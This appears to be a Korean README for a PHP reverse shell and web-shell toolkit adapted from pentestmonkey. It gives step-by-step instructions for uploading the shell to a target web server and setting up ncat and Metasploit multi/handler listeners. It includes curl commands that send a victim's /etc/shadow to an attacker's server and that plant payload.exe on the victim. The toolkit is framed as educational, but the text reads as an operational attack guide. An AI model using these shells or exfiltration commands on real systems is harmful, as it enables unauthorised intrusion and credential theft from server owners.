
Linux OS, macOS 및 Windows OS에서 작동하는 PHP 셸.
널리 쓰이는 PHP 리버스 셸 스크립트 pentestmonkey/php-reverse-shell을 살짝 새롭게 단장한 것입니다. 원저작자에게 감사를 표합니다!
/bin/sh를 사용하는 Linux OS 및 macOS와 cmd.exe를 사용하는 Windows OS에서 작동합니다. 스크립트가 기본 OS를 자동으로 감지합니다.
ncat과 multi/handler 모두에서 작동합니다.
다음 환경에서 테스트했습니다:
Windows OS의 프로세스 파이프는 비동기 작업을 지원하지 않으므로 stream_set_blocking(), stream_select(), feof()가 제대로 작동하지 않지만, 해결 방법을 찾았습니다.
교육 목적으로 제작되었습니다. 도움이 되길 바랍니다!
/src/reverse/php_reverse_shell.php는 PHP v5.0.0 이상이 필요합니다.
/src/reverse/php_reverse_shell_older.php는 PHP v4.3.0 이상이 필요합니다.
필요에 따라 스크립트 내부의 IP 주소와 포트 번호를 변경하세요.
/src/reverse/php_reverse_shell.php를 서버의 웹 루트 디렉터리(예: XAMPP의 /opt/lampp/htdocs/)에 복사하거나 대상의 웹 서버에 업로드하세요.
선호하는 웹 브라우저로 해당 파일에 접속하세요.
HTTP POST 요청 기반의 간단한 PHP 웹 셸을 확인하세요.
HTTP GET 요청 기반의 간단한 PHP 웹 셸을 확인하세요. 명령어를 URL 인코딩해야 합니다.
HTTP GET 요청 기반의 간단한 PHP 웹 셸 v2를 확인하세요. 명령어를 URL 인코딩해야 합니다.
파일 업로드는 HTTP POST 요청, 파일 다운로드는 HTTP GET 요청을 기반으로 하는 간단한 PHP 파일 업로드/다운로드 스크립트를 확인하세요.
파일을 다운로드할 때 파일 경로를 URL 인코딩해야 합니다.
서버 구성에 따라 HTTP GET 요청 매개변수를 통한 파일 다운로드가 항상 작동하지 않을 수 있습니다. 이 경우 스크립트에 파일 경로를 하드코딩해야 합니다.
선호하는 웹 브라우저로 피해자의 웹 서버에 있는 스크립트에 접속하거나, PC에서 cURL을 사용하세요.
PC에서 서버의 웹 루트 디렉터리로 파일을 업로드합니다:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
서버에서 PC로 파일을 다운로드합니다:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
리버스 셸에서 초기 권한을 상승시켰다면, 이 스크립트는 셸과 동일한 권한을 갖지 못할 수 있습니다. 이 경우 특정 파일을 다운로드하려면 파일을 웹 루트 디렉터리에 복사하고 필요한 읽기 권한을 설정해야 할 수도 있습니다.
PHP 리버스 셸에서 다음 cURL 명령어를 실행하세요.
피해자의 PC에서 자신의 서버의 웹 루트 디렉터리로 파일을 업로드합니다:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
자신의 서버의 웹 루트 디렉터리에서 피해자의 PC로 파일을 다운로드합니다:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
리스너를 설정하려면 Kali Linux에서 선호하는 콘솔을 열고 아래 예시 중 하나를 실행하세요.
ncat 리스너 설정:
ncat -nvlp 9000
multi/handler 리스너 설정:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

그림 1 - Ncat

그림 2 - 스크립트 덤프